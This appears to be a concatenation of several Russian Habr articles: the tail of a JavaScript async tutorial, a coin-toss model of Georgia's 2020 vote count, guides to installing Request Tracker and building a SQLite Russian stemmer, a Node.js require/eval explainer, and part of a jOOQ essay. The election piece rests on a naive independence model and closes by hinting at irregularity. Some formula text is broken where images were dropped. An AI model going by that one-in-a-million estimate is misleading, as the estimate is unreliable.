Кода стало немного больше, но зато сильно сократилась обработка ошибок.
Обратите внимание .catch был использован два раза потому, что Promise.all использует fail-fast стратегию и бросает ошибку, если ее бросил хотя бы один промис на практике такое пременение далеко не всегда оправдано, например если нужно проверить список проксей, то нужно проверить все, а не обламываться на первой «дохлой». Этот вопрос решают библиотеки Q и Bluebird и тд, поэтому его освещать не будем.
Теперь перепишем это все с учетом arrow functions, desctructive assignment и modules.
```
import fs from "fs";
import path from "path";
function promisify(func, args) {
return new Promise((resolve, reject) => {
func.apply(null, [...args, (err, result) => {
if (err) {
reject(err);
} else {
resolve(result);
}
}]);
});
}
promisify(fs.readdir, [__dirname])
.then(items => Promise.all(items.map(item => {
const file = path.join(__dirname, item);
return promisify(fs.stat, [file])
.then(stat => {
if (stat.isFile()) {
return promisify(fs.readFile, [file]);
} else {
throw new Error("Not a file!");
}
})
.catch(console.error);
})))
.then(buffers => buffers.filter(e => e))
.then(console.log)
.catch(console.error);
```
**Generator**
Теперь совсем хорошо, но…ведь есть еще какие-то генераторы, которые добавляют новый тип функций function\* и ключевое слово yeild, что будет если использовать их?
```
import fs from "fs";
import path from "path";
function promisify(func, args) {
return new Promise((resolve, reject) => {
func.apply(null, [...args, (err, result) => {
if (err) {
reject(err);
} else {
resolve(result);
}
}]);
});
}
function getItems() {
return promisify(fs.readdir, [__dirname]);
}
function checkItems(items) {
return Promise.all(items.map(file => promisify(fs.stat, [path.join(__dirname, file)])
.then(stat => {
if (stat.isFile()) {
return file;
} else {
throw new Error("Not a file!");
}
})
.catch(console.error)))
.then(files => {
return files.filter(file => file);
});
}
function readFiles(files) {
return Promise.all(files.map(file => {
return promisify(fs.readFile, [file]);
}));
}
function * main() {
return yield readFiles(yield checkItems(yield getItems()));
}
const generator = main();
generator.next().value.then(items => {
return generator.next(items).value.then(files => {
return generator.next(files).value.then(buffers => {
console.log(buffers);
});
});
});
```
Цепочки из generator.next().value.then не лучше чем колбэки из первого примера однако это не значит, что генераторы плохие, они просто слабо подходят под эту задачу.
**Async/Await**
Еще два ключевых слова, с мутным значением, которые можно попробовать прилепить к решению, уже надоевшей задачи по чтению файлов- Async/Await
```
import fs from "fs";
import path from "path";
function promisify(func, args) {
return new Promise((resolve, reject) => {
func.apply(null, [...args, (error, result) => {
if (error) {
reject(error);
} else {
resolve(result);
}
}]);
});
}
function getItems() {
return promisify(fs.readdir, [__dirname]);
}
function checkItems(items) {
return Promise.all(items.map(file => promisify(fs.stat, [path.join(__dirname, file)])
.then(stat => {
if (stat.isFile()) {
return file;
} else {
throw new Error("Not a file!");
}
})
.catch(console.error)))
.then(files => {
return files.filter(file => file);
});
}
function readFiles(files) {
return Promise.all(files.map(file => {
return promisify(fs.readFile, [file]);
}));
}
async function main() {
return await readFiles(await checkItems(await getItems()));
}
main()
.then(console.log)
.catch(console.error);
```
Пожалуй самый красивый пример, все функции заняты своим делом и нету никаких пирамид.
Если писать этот код не для примера, то получилось бы как-то так:
```
import bluebird from "bluebird";
import fs from "fs";
import path from "path";
const myFs = bluebird.promisifyAll(fs);
function getItems(dirname) {
return myFs.readdirAsync(dirname)
.then(items => items.map(item => path.join(dirname, item)));
}
function getFulfilledValues(results) {
return results
.filter(result => result.isFulfilled())
.map(result => result.value());
}
function checkItems(items) {
return bluebird.settle(items.map(item => myFs.statAsync(item)
.then(stat => {
if (stat.isFile()) {
return [item];
} else if (stat.isDirectory()) {
return getItems(item);
}
})))
.then(getFulfilledValues)
.then(result => [].concat(...result));
}
function readFiles(files) {
return bluebird.settle(files.map(file => myFs.readFileAsync(file)))
.then(getFulfilledValues);
}
async function main(dirname) {
return await readFiles(await checkItems(await getItems(dirname)));
}
main(__dirname)
.then(console.log)
.catch(console.error);
``` | https://habr.com/ru/post/304474/ | null | ru | null |
# Бернулли против Байдена
В последнее время появляется все больше и больше аналитических обзоров результатов выборов, которые рассматривают их с точки зрения законов статистики и направлены, как правило, на изучение необычных явлений, сигнализирующих о возможных фальсификациях (см. "Гаусс против Чурова" и т.п. публикации). Думается, только что завершившиеся выборы президента США (подсчет голосов еще продолжается, причем беспрецедентно длительное время) дадут дополнительный толчок развитию этой "электоральной математики".
Постановка задачи
-----------------
Так получилось, что, начиная с 5 ноября, я стал следить за промежуточными результатами подсчета голосов в штате Джорджия. Тогда было посчитано 95% голосов, соотношение было 49.6/49.1 в пользу Трампа, т.е. он был впереди на полпроцента. Исключительно из демонстрационных соображений (а я делаю разный образовательный контент и читаю лекции студентам), я решил оценить вероятность того, что штат "перевернется", т.е. окончательный результат будет в пользу Байдена. Собственно, 5-го ноября я [начал стримить](https://youtu.be/R-lYIy86UeM) свои расчеты, но потом отвлекся и прекратил эфир, зато запись с исходными данными осталась. Когда я начал писать эту статью, в 9 утра ЕТ 6-го ноября, было посчитано 99% бюллетеней, соотношение голосов на этот момент вы видите на заставке, а текущие результаты вы можете сами посмотреть [на сайте CNN](https://edition.cnn.com/election/2020/results/president?iid=politics_election_national_map), откуда я и беру данные. К слову, на момент публикации этой статьи, через двое суток, т.е. 9 утра ЕТ 8-го ноября, окончательных результатов все еще не было, а на табло по-прежнему отображались 99%, но с еще более убедительным результатом в пользу Байдена.
Естественной моделью, которую я решил взять за основу, была модель независимых испытаний, т.е. классическая [схема Бернулли](https://ru.wikipedia.org/wiki/%D0%A1%D1%85%D0%B5%D0%BC%D0%B0_%D0%91%D0%B5%D1%80%D0%BD%D1%83%D0%BB%D0%BB%D0%B8). Проводя аналогию между выбором каждого из оставшихся 100 тыс. избирателей (за Трампа - за Байдена) и 100-тысячекратным бросанием монеты (орел - решка), я собираюсь оценить упомянутую вероятность победы Байдена в Джорджии. Недействительные бюллетени и голоса в поддержку других кандидатов учитывать не будем. Трампа в России любят больше, поэтому давайте условимся считать голос за него успехом (х=1), а голос против - неудачей (х=0). Сразу хочу сказать, что в этой статье мне не хочется обсуждать политику и делать какие-либо выводы о фальсификациях и т.п., а посвятить ее зарисовке моделирования схемы Бернулли в [Mathcad Express](http://habrahabr.ru/company/nerepetitor/blog/247999/).
Схема Бернулли: модель Монте-Карло
----------------------------------
Итак, давайте считать, что голос каждого избирателя в Джорджии похож на бросание монеты, благо вероятность успеха (за Трампа) или неудачи (за Байдена), если судить по посчитанным 95% бюллетеней, практически равны. Давайте, следуя методам Монте-Карло, сгенерируем вектор х из N=1000 случайных чисел, каждое из которых (0 или1) добавляется в выборку с равной 50%-й вероятностью:
Модель Бернулли: однократное бросание "честной монеты"В предпоследней строке выведены первые несколько компонент вектора х, а в последней - выборочное среднее (которое близко к математическому ожиданию 0.5).
Это пока "модель поведения одного избирателя". А если мы хотим добавить еще одного, т.е. промоделировать двукратное бросание монеты, то можно генерировать не одно, а два псевдослучайных числа: х1 и х2, а судить о выпадении того или иного количества успехов и неудач мы можем, просто вычисляя сумму этих чисел х=х1+х2. Например, вот так будут выглядеть векторы х1, х2 и х для N=10 двукратных бросаний:
Модель Бернулли: двукратное бросание монетыДля того чтобы автоматизировать расчет частоты выпадения, к примеру, двух успехов (1+1), надо просто подсчитать количество двоек в векторе х. Сделать это можно при помощи условного оператора if, который доступен в бесплатном Mathcad Express.
Пример расчета количества исходов х=1+1 Многократное бросание монеты в Mathcad Express можно организовать проще, без привлечения переменных х1 и х2, сразу считая х при помощи той же встроенной функции `rbinom(N,M,p)`, где M-число бросаний, а p=0.5 - вероятность успеха:
Пример расчета частоты исходов x<2 при двукратном бросании монетыМоделируем выборы
-----------------
Теперь все готово для решения основной задачи. Мы можем запросто смоделировать поведение М=250000 избирателей в штате Джорджия и посчитать искомую оценку вероятности, т.е. среднюю частоту событий xДанные на начало 05.11 (95% голосов посчитано)За Трампа было подано T=2 429 783 голоса, а за Байдена B=2 406 774, т.е. соответственно 50.24% и 49.76% соответственно (прочие голоса, ни за Трампа, ни за Байдена не считаем). Т.е. всего на тот момент было посчитано около 5 млн голосов, т.е. 95% бюллетеней. Поэтому можно считать, что осталось посчитать оставшиеся 5%, т.е. примерно 250 000 бюллетеней. Разрыв между Трампом и Байденом составлял 2 429 783 - 2 406 774 = 23 009. Иными словами, нам надо оценить вероятность того, что число успехов на выборке по М=250 000 бросаниям монеты будет на 23 тыс. меньше, нежели неудач. В наших обозначениях, надо установить с какой вероятностью х не превысит А = 250 000 / 2 - 11 500 (тогда разрыв между 125+11.5 тыс. и 125-11.5 тыс. будет как раз не меньше 23 тыс.).
Если взять объем выборки N=10 млн испытаний, то генератор псевдослучайных чисел Mathcad не дает ни одного случая xЕсли снизить (ради любопытства) А в 10 раз и попробовать посчитать среднюю частоту события xМодель Бернулли применительно к электоральной математикеАналитические оценки
--------------------
Модель Бернулли хороша тем, что для нее известны аналитические формулы вычисления подобных вероятностей. В частности, рассматриваемую задачу можно решить при помощи интегральной теоремы Муавра-Лапласа, которая дает тот же порядок вероятности (одна миллионная для условия xРасчет вероятности xНо об аналитических формулах для схемы Бернулли в следующей статье. А эту я завершаю в час ночи 09.11.2020 по московскому времени (соответствует 15 часам ET 08.11 в США). А читатель сам может оценить вероятность исхода, который в итоге реализуется, по скриншоту с сайта CNN. На нем цифры 99% показывают нам и всему миру, что "последнюю милю" никак не удается пройти, и несчастный 1 процент бюллетеней в Джорджии стоит насмерть и до последнего сопротивляется расчетам.
 | https://habr.com/ru/post/526816/ | null | ru | null |
# Установка Request Tracker 3.8
[](http://bestpractical.com/static/images/screenshots/rt/3.8/homepage.png)
Приветствую тебя, %habrauser%!
##### Предыстория:
В данный момент я работаю в небольшой конторе, которая занимается консультированием, аудитом и обслуживание в области IT. Хотя контора и небольшая, количество клиентов у нас росло быстрыми темпами, и без нормального хелпдеска обойтись было уже очень сложно. Рассмотрев приличный перечень продуктов, как платные так и бесплатные, наш выбор пал на продукт фирмы [BestPractical](http://bestpractical.com/), который называется весьма незамысловато Request Tracker.
> Request Tracker—система учёта и отслеживания заявок уровня предприятия с открытым исходным кодом, позволяющая управлять задачами, проблемами, и внешними запросами от пользователей. Система написана на объектно-ориентированном языке Perl. Система начала разрабатываться с 1996, и используется системными администраторами, сотрудниками служб техподдержки, IT-менеджерами, разработчиками и маркетинговыми отделами.
>
>
>
> [ru.wikipedia.org/wiki/Request\_Tracker](http://ru.wikipedia.org/wiki/Request_Tracker)
Выбран был по следующим критериям
* бесплатный (есть возможность использовать по модели SaaS с ежемесячной платой)
* кросплатформенный (написан на PERL)
* свободная лицензия GPLv2
* очень хорошо документирован
* поддерживает различные СУБД (MySQL, PostgreSQL, SQlite, Oracle DB)
* интегрирован движок RTFM (аналог Wiki)
[](http://bestpractical.com/static/images/screenshots/rt/3.8/ticket_create.png)
[](http://bestpractical.com/static/images/screenshots/rt/3.8/ticket_basics.png)
[](http://bestpractical.com/static/images/screenshots/rt/3.8/ticket_history.png)
[](http://bestpractical.com/static/images/screenshots/rt/3.8/ticket_relationships.png)
Текущая версия 3.8.8 от 5 мая 2010 года, вот ее сейчас мы и будем устанавливать.
##### Установка:
В качестве операционной системы я использую Freebsd 8 ветки. Как обычно перед установкой чего-либо обновляем порты:
`# portsnap fetch update`
В качестве веб-сервера я буду использовать классический вариант: apache 2.2 с mod\_perl2 (можете использовать nginx или lighttpd)
`# cd /usr/ports/www/apache22 && make install clean
# cd /usr/ports/www/mod_perl2 && make install clean`
Теперь устанавливаем сам RT 3.8:
`# cd /usr/ports/www/rt38 && make install clean`
В качестве СУБД я буду использовать MySql 5.1
`# cd /usr/ports/database/mysql51-server && make install clean`
После установки прописываем возможность запуска приложений в /etc/rc.conf
`apache22\_enable="YES"
mysql\_enable="YES"`
и теперь запускаем **только** mysql-server
`# /usr/local/etc/rc.d/mysql-server start`
Теперь проверяем все ли зависимости RT у нас правильно установились:
`# /usr/local/sbin/rt-test-dependencies --with-mysql --with-modperl2`
Если видим в конце строчку «All dependencies have been found” Значит все хорошо, если нет, то настраиваем CPAN и устанавливаем недостающие зависимости:
`# /usr/bin/perl -MCPAN -e shell
# /usr/local/sbin/rt-test-dependencies --with-mysql --with-modperl2 –install`
C программным обеспечением разобрались, теперь перейдем к настройке RT. У RT есть два конфигурационных файла RT\_Config.pm и RT\_SiteConfig.pm. Файл RT\_Config.pm содержит значения по умолчанию, которые заменяются значениями из файла RT\_SiteConfig.pm. Поэтому открываем файл RT\_SiteConfig.pm и указываем свои значения вместо дефолтных:
`Set( $rtname, 'Firma');
Set($WebBaseURL , "rt.domen.com");
Set( $WebPath , "");
Set($DataBaseType , 'mysql');
Set($DatabaseHost , 'localhost');
Set($DatabaseRTHost , 'localhost');
Set($DatabaseName , 'rt3');
Set($DatabaseUser, 'rt38');
Set($DatabasePassword , password);
Set($Timezone, 'Asia/Sakhalin');
Set($CorrespondAddress, 'support@domen.com);
Set($CommentAddress, 'suppport-comment@domen.com);
Set($RTAddressRegexp, '^support(-comment)?\@(domen)\.(com)$');
Set($OwnerEmail, 'sergey@domen.com');
Set($AutoCreate, {Privileged => 1});
Set($NotifyActor, 1);
1;`
Перед этим мы заводим пользователя в mysql и указываем его логин и пароль в данном файле. Теперь инициализируем базу данных RT (инициализируем от рута, скрипт сам даст необходимые права для пользователя, которого мы указали в RT\_Config.pm):
`# rt-setup-database --action init --dba root --prompt-for-dba-password`
Назначаем права на конфигурационные файлы:
`# Chown www /usr/local/etc/rt38/RT_Config.pm
# Chmod 600 /usr/local/etc/rt38/RT_Config.pm
# Chown www /usr/local/etc/rt38/RT_SiteConfig.pm
# Chmod 600 /usr/local/etc/rt38/RT_SiteConfig.pm`
В принципе для запуска RT все готово, но у нас есть один нюанс, корпоративная почта работает через Google Apps и аккаунт support@domen.com завден там, следовательно нам надо как-то научить RT получать почту с Google Apps. В этом нам поможет fetchmail, устанавливаем:
`# cd /usr/ports/mail/fetchmail/ && make install clean`
Так как gmail работает по зашифрованному протоколу, нам нужно подсунуть эти сертификаты fetchmail. Для этого создаем директорию под сертификаты:
`# mkdir /usr/local/certs/`
Создаем внутри этой директории файл:
`# touch /usr/local/certs/gmail.pem`
И выполняем скрипт чтобы получить сертификат:
`# openssl s\_client -connect pop.gmail.com:995 -showcerts > /usr/local/certs/gmail.pem`
Правим получившийся файл, удаляем все до -----BEGIN CERTIFICATE----- и все что после -----END CERTIFICATE----- Потом копируем утилиту для хеширования
`# cp /usr/src/crypto/openssl/tools/c_rehash /usr/local/bin/c_rehash
# chmod +x /usr/local/bin/c_rehash`
И выполняем хеширование сертификата:
`# c_rehash /usr/local/certs/`
Теперь нам нужно получить отпечаток сертификата и вставить его в конфиг fetchmail
`# openssl x509 -in /usr/local/certs/gmail.pem -noout -md5 –fingerprint`
Отпечаток получен, осталось поправить конфиг fetchmail’a примерно до такого вида:
`defaults protocol pop3,
timeout 60,
fetchall
set logfile=/var/log/fetchmail
poll pop.gmail.com
port 995
username support@domen.com
password '****'
mda "/usr/local/bin/rt-mailgate --url ip-address --action correspond --queue General"
ssl
sslcertpath /usr/local/certs/
sslfingerprint "6B:**:**:**:**:**:**:**:**:**:**:**:**:**:B6"`
(тут небольшое отступление, fetchmail запускается от своего пользователя fetchmail, но почему-то у меня он так не захотел работать, а в логах писал «fetchmail: Cannot switch effective user id to 0: Operation not permitted” поэтому как временное решение данной проблемы, я запустил fetchmail под рутом, что не есть хорошо. Если кто-то знает решение проблемы, очень буду рад услышать)
Добавляем в /etc/rc.conf
`fetchmail_enable="YES"
fetchmail_user="root"`
создаем лог файл для fetchmail, вообще-то он и так кладет логи в /var/log/maillog но чтобы они не перемешивались с остальными
`# touch /var/log/fetchmail`
и стартуем fetchmail
`# /usr/local/etc/rc.d/fetchmail start`
По умолчанию fetchmail проверяет почту раз в 900 секунд, это можно настроить, проправив стартовый скрипт.
Осталось поправить конфиг apache виртуальный хост следующего содержания и стартуем его
`ServerName rt.domen.com
ServerAdmin sergey@domen.com
DocumentRoot /usr/local/share/rt38/html
AddDefaultCharset UTF-8
PerlModule Apache::DBI
PerlRequire /usr/local/bin/webmux.pl
Order allow,deny
Allow from all
SetHandler perl-script
PerlResponseHandler RT::Mason
Order allow,deny
Allow from **IP-ADDRESS**
Satisfy any
Order allow,deny
Allow from **IP-ADDRESS**
Satisfy any`
Отправляем письмо на [support@domen.com](mailto:support@domen.com) и заходим на rt.domen.com и посмотреть что у нас получилось, стандартные логин/пароль — root/password. Если что-то не так, смотрим логи apache и fetchmail
На этом установка Request Tracker 3.8 завершена. Если данная тема интересна, я продолжу писать про эту систему, и в следующей статье мы рассмотрим настройку.
P.S. не сильно подробно расписал? | https://habr.com/ru/post/112348/ | null | ru | null |
# Интеграция алгоритма стемминга русских слов в fts3 SQLite
В данной статье я хочу поделиться опытом интеграции расширения для [стемминга](http://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%BC%D0%BC%D0%B8%D0%BD%D0%B3) в код SQLite. Все действия выполнялись в ОС Ubuntu 11.10.
#### Проблема
В fts3 SQLite есть простой стеммер, реализующий алгоритм [стемминга Портера](http://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B5%D0%BC%D0%BC%D0%B5%D1%80_%D0%9F%D0%BE%D1%80%D1%82%D0%B5%D1%80%D0%B0), но для русских слов реализации нет. Т.е. MATCH по слову 'гостиницы' не найдёт записи, содержащие слово 'гостиница' и т.д.
#### Подготовка к компиляции
##### Что понадобится
* исходники sqlite3 с [репозитория](http://www.sqlite.org/cgi/src/timeline);
* наш стеммер на языке C (см. далее);
* опционально библиотека readline (libreadline), если нужна история вводимых команд для консольного клиента.
Далее предполагается что исходники sqlite3 лежат в $HOME/SQLite.
##### Код стеммера
Кодировка русских символов UTF-8.
Стеммер использует для латинских слов встроенный стеммер Портера, а для русских слов реализует подобный алгоритм.
Изначально код был написан для C++ и подгружался как расширение для SQLite. Я его модифицировал, чтобы можно было скомпилировать на компиляторе языка C, поэтому до красивости и строгости тут очень далеко. Вот что у меня вышло:
[fts3\_porter\_ext.c](http://pastebin.com/0wppWfy4)
Кладём наш стеммер в $HOME/SQLite/ext/fts3/fts3\_porter\_ext.c
##### Правка файлов
###### Makefile.in
Правим файл $HOME/SQLite/Makefile.in.
* Добавляем к переменной LIBOBJS0 стеммер fts3\_porter\_ext.lo
* К переменной SRC добавляем $(TOP)/ext/fts3/fts3\_porter\_ext.c
* Пишем правило для сборки fts3\_porter\_ext.lo:
`fts3_porter_ext.lo: $(TOP)/ext/fts3/fts3_porter_ext.c $(HDR) $(EXTHDR)
$(LTCOMPILE) -DSQLITE_CORE -c $(TOP)/ext/fts3/fts3_porter_ext.c`
###### fts3.c
Правим $HOME/SQLite/ext/fts3/fts3.c.
Добавляем после строки
`void sqlite3Fts3PorterTokenizerModule(sqlite3_tokenizer_module const**ppModule);`
строку
`void sqlite3Fts3PorterTokenizerModule1(sqlite3_tokenizer_module const**ppModule);`
После строки
`sqlite3Fts3PorterTokenizerModule(&pPorter);`
Добавляем инициализацию нашего модуля
`const sqlite3_tokenizer_module *pPorter1 = 0;
sqlite3Fts3PorterTokenizerModule1(&pPorter1);`
Наконец, после
`|| sqlite3Fts3HashInsert(pHash, "porter", 7, (void *)pPorter)`
добавляем наш модуль в хэш встроенных токенайзеров
`|| sqlite3Fts3HashInsert(pHash, "russian", 8, (void *)pPorter1)`
###### mkfts3amal.tcl
Правим $HOME/SQLite/ext/fts3/mkfts3amal.tcl
После строки
`fts3_tokenizer1.c`
Добавляем
`fts3_porter_ext.c`
###### mksqlite3c.tcl
Правим $HOME/SQLite/tool/mksqlite3c.tcl
После строки
`fts3_tokenizer1.c`
Добавляем
`fts3_porter_ext.c`
#### Компиляция
Выполним следующее (--prefix=$HOME лучше заменить на что-нибудь более вменяемое. Это будет путь установки)
`cd $HOME/SQLite && mkdir build && cd build && ../configure --prefix=$HOME CFLAGS='-DSQLITE_SOUNDEX -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS' && make`
Теперь проверим, что наш стеммер попал в sqlite3.c
`grep fts3_porter_ext.c sqlite3.c`
Должно получиться что-то вроде этого:
`/************** Begin file fts3_porter_ext.c *********************************/
/************** End of fts3_porter_ext.c *************************************/`
Теперь устанавливаем sqlite3 на компьютер:
`sudo make install`
#### Использование
При создании таблиц fts3 нужно указать наш стеммер, например так:
`CREATE VIRTUAL TABLE tag_fti USING fts3(name, tokenize=russian);`
Теперь, при MATCH запросах к таблице tag\_fti будет использоваться наш стеммер.
#### Итог
Мы получили 2 файла sqlite3.c и sqlite3.h, которые можно подключать к нашим проектам.
Нет необходимости в загрузке модулей расширения.
Получили консольный клиент, который корректно обрабатывает запросы к fts3 таблицам, которые будут создавать наши приложения. Верно и обратное, что таблицы, созданные консольным клиентом, будут обработаны и нашими приложениями.
Буду рад, если статья для кого-нибудь станет полезной.
**Upd:** подправил ссылки | https://habr.com/ru/post/131265/ | null | ru | null |
# Экспорт, импорт в Node.JS
Вроде, все просто и ясно:
```
var module = require("./some_module.js");
module.f(); // запуск экспортируемой функции модуля
console.log(module.obj); // печать экспортируемого объекта модуля
module(); // запуск самого модуля
```
Что бы экспортировать что-то в самом модуле нужно прописать:
```
exports.f = function() { return 123; };
exports.obj = { name: "Foobar", age: 33 };
// или даже так, что вместе с предыдущими строчками
// в одном модуле не сработает!
module.exports = function() { return "I have not a name"; }
```
Почему не всегда работает?
Ответ на этот вопрос лежит в понимании работы функции require().
При вызове require(), как я помучившись понял, создает объект под именем exports, считывает переданный файл в переменную и выполняет весь код из этой переменной. После чего, возвращает нам изменённый в процессе выполнения кода объект exports.
Попробуем создать свою функцию require(). Для упрощения восприятия мы будем передавать нашей функции не имя файла, а уже, как бы, содержимое файла в виде строковой переменной. Назовем её script.
Определение нашей функции require будет выглядеть так:
```
function require(script) {
var exports = {};
eval(script);
return exports;
}
```
Но как быть, если нам нужно экспортировать безымянный объект? Помните `module.exports = function() {}`? Добавляем объект с именем module, и его свойству exports присваиваем объект.
Наша функция require немного усложняется:
```
function require(script) {
var module = {};
var exports = {};
eval(script);
return module.exports ? module.exports : exports;
}
```
Запускаем тест:
```
var script = "exports.foo = 'foo'; exports.bar = 'bar';"; // код модуля
var foobar = require(script); // импортируем
console.log(foobar.foo); // печатает: foo
console.log(foobar.bar); // печатает: bar
```
Работает!
Запускаем тест с экспортом безымянного объекта:
```
var script = "module.exports = function() { return 'foobar'; }"; // код модуля
var foobar = require(script); // импортируем
console.log(foobar()); // печатает: foobar
```
Тоже работает.
Запускаем тест с экспортом безымянного объекта и именованных объектов модуля:
```
var script = "exports.arr = [1, 2, 3]; module.exports = function() { return 'foobar'; }"; // код модуля
var foobar = require(script); // импортируем
console.log(foobar()); // печатает: foobar
console.log(foobar.arr); // печатает: undefined
```
Не работает!
К стати, не работает и при использовании штатной функции node.js require(). Это показывает, что наша функция мало чем отличается от неё, и мы на верном пути.
А как же экспортировать нам и безымянный и именованные объекты? Ответ — нужно использовать только module.exports, причём, именованные объекты экспортируются обязательно после безымянного.
Откорректируем предыдущий пример:
```
var script = "module.exports = function() { return 'foobar'; }\n"
+ "module.exports.arr = [1, 2, 3];\n"
+ "module.exports.result = 'Ok'\n";
var foobar = require(script); // импортируем
console.log(foobar()); // печатает: foobar
console.log(foobar.arr); // печатает: [1, 2, 3]
console.log(foobar.result); // печатает: Ok
```
Работает!
Надеюсь, что мои примеры, дорогой читатель, помогли вам глубже понять механизм экспорта-импорта модулей в node.js. На первый взгляд, он очень прост, о чем пишут и сами разработчики. Но без понимания работы встроенной функции require() иногда оказываешься наедине с чУдными результатами работы своего кода. | https://habr.com/ru/post/276791/ | null | ru | null |
# Истина прежде всего, или почему систему нужно проектировать, исходя из устройства базы данных
Привет, Хабр!
Мы продолжаем исследовать тему [Java](https://www.piter.com/collection/all/product/sovremennyy-yazyk-java-lyambda-vyrazheniya-potoki-i-funktsionalnoe-programmirovanie) и [Spring](https://www.piter.com/collection/soon/product/spring-boot-2-luchshie-praktiki-dlya-professionalov), в том числе, на уровне баз данных. Сегодня предлагаем почитать о том, почему при проектировании больших приложений именно структура базы данных, а не код Java, должна иметь определяющее значение, как это делается, и какие исключения есть из этого правила.
В этой довольно запоздалой статье я объясню, почему считаю, что практически во всех случаях модель данных в приложении должна проектироваться «исходя из базы данных», а не «исходя из возможностей Java» (или другого клиентского языка, с которым вы работаете). Выбирая второй подход, вы вступаете на долгий путь боли и страданий, как только ваш проект начинает расти.
Статья написана по мотивам [одного вопроса](https://stackoverflow.com/questions/50706556/kotlin-with-jooq-and-write-table-models-manually-without-code-generation), заданного на Stack Overflow.
Интересные обсуждения на reddit в разделах [/r/java](https://www.reddit.com/r/java/comments/8p0uj3/truth_first_or_why_you_should_mostly_implement/) и [/r/programming](https://www.reddit.com/r/programming/comments/8p0qle/truth_first_or_why_you_should_mostly_implement/).
#### Генерация кода
Насколько же я удивился, что существует такая небольшая прослойка пользователей, которые, познакомившись с jOOQ, возмущаются тем фактом, что при работе jOOQ всерьез полагается на генерацию исходного кода. Никто не мешает вам использовать jOOQ так, как вы считаете нужным, и не заставляет использовать генерацию кода. Но по умолчанию (так, как описано в руководстве) работа с jOOQ происходит так: вы начинаете с (унаследованной) схемы базы данных, выполняете ее обратное проектирование при помощи генератора кода jOOQ, чтобы таким образом получить набор классов, представляющих ваши таблицы, а затем пишете типобезопасные запросы к этим таблицам:
```
for (Record2 record : DSL.using(configuration)
// ^^^^^^^^^^^^^^^^^^^^^^^ Информация о типах выведена на
// основании сгенерированного кода, на который ссылается приведенное
// ниже условие SELECT
.select(ACTOR.FIRST\_NAME, ACTOR.LAST\_NAME)
// vvvvv ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^ сгенерированные имена
.from(ACTOR)
.orderBy(1, 2)) {
// ...
}
```
Код генерируется или вручную за пределами сборки, или вручную при каждой сборке. Например, такая регенерация может последовать сразу после [миграции базы данных Flyway, которую также можно выполнить вручную или автоматически](https://blog.jooq.org/2014/06/25/flyway-and-jooq-for-unbeatable-sql-development-productivity/).
#### Генерация исходного кода
С такими подходами к генерации кода – ручными и автоматическими – связаны различные философии, преимущества и недостатки, которые я не собираюсь подробно обсуждать в этой статье. Но, в целом, вся суть генерируемого кода в том, что он позволяет воспроизвести на Java ту «истину», которую мы принимаем как данность, либо в рамках нашей системы, либо вне ее. В некотором смысле, то же самое делают компиляторы, генерирующие байт-код, машинный код или какой-нибудь другой вид кода на основе исходников – мы получаем представление нашей «истины» на другом языке, независимо от конкретных причин.
Существует множество таких генераторов кода. Например, [XJC может генерировать код Java на основе файлов XSD или WSDL](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/xjc.html). Принцип всегда одинаков:
* Существует некая истина (внутренняя или внешняя) – например, спецификация, модель данных, т.д.
* Нам требуется локальное представление данной истины на нашем языке программирования.
Причем генерировать такое представление почти всегда бывает целесообразно – чтобы избежать избыточности.
#### Провайдеры типов и обработка аннотаций
На заметку: еще один, более современный и специфичный подход к генерации кода для jOOQ связан с использованием провайдеров типов, [в таком виде, как они реализованы в F#](https://docs.microsoft.com/en-us/dotnet/fsharp/tutorials/type-providers/). В таком случае код генерируется компилятором, собственно на этапе компиляции. В виде исходников такой код в принципе не существует. В Java существуют схожие, хотя и не столь изящные инструменты – это процессоры аннотаций, например, [Lombok](https://projectlombok.org).
В определенном смысле, здесь происходят те же вещи, что и в первом случае, за исключением:
* Вы не видите сгенерированного кода (возможно, такая ситуация кому-то кажется не столь отталкивающей?)
* Вы должны гарантировать, что типы могут предоставляться, то есть, «истина» всегда должна быть доступна. Это легко в случае Lombok, который аннотирует “истину”. Чуть сложнее с моделями баз данных, работа которых зависит от постоянно доступного живого соединения.
#### В чем проблема с генерацией кода?
Кроме хитрого вопроса о том, каким образом лучше запускать генерацию кода – вручную или автоматически, приходится упомянуть и о том, что есть люди, считающие, что генерация кода вообще не нужна. Обоснование такой точки зрения, которое попадалось мне наиболее часто – в том, что тогда сложно настроить конвейер сборки. Да, действительно сложно. Возникают дополнительные инфраструктурные издержки. Если вы только начинаете работать с определенным продуктом (будь то jOOQ, или JAXB, или Hibernate, т.д.), на настройку рабочей среды уходит время, которое вы хотели бы потратить на изучение самого API, чтобы потом извлекать из него ценность.
Если слишком велики издержки, связанные с тем, чтобы разобраться в устройстве генератора – то, действительно, в API плохо поработали над юзабилити генератора кода (а в дальнейшем оказывается, что и пользовательская настройка в нем сложна). Удобство использования должно быть наивысшим приоритетом для любого такого API. Но это всего лишь один аргумент против генерации кода. В остальном абсолютно полностью вручную писать локальное представление внутренней или внешней истины.
Многие скажут, что у них нет времени всем этим заниматься. У них горят сроки сдачи по их Супер-Продукту. Когда-нибудь потом причешем конвейеры сборки, успеется. Я им отвечу:
[Оригинал](https://www.flickr.com/photos/toddle_email_newsletters/15596940251/in/photostream/), [Алан О'Рурк, Audience Stack](http://audiencestack.com/static/blog.html)
**Но в Hibernate / JPA так просто писать код «под Java».**
Действительно. Для Hibernate и его пользователей это одновременно и благо, и проклятье. В Hibernate можно просто написать пару сущностей, вот так:
```
@Entity
class Book {
@Id
int id;
String title;
}
```
И почти все готово. Теперь удел Hibernate – генерировать сложные «детали» того, как именно эта сущность будет определяться на DDL вашего «диалекта» SQL:
```
CREATE TABLE book (
id INTEGER PRIMARY KEY GENERATED ALWAYS AS IDENTITY,
title VARCHAR(50),
CONSTRAINT pk_book PRIMARY KEY (id)
);
CREATE INDEX i_book_title ON book (title);
```
… и начинаем гонять приложение. Действительно крутая возможность, чтобы быстро приступать к работе и пробовать разные вещи.
Однако, позвольте. Я слукавил.
* А Hibernate действительно применит определение этого именованного первичного ключа?
* А Hibernate создаст индекс в TITLE? – я точно знаю, он нам понадобится.
* A Hibernate точно сделает этот ключ идентифицирующим в Identity Specification?
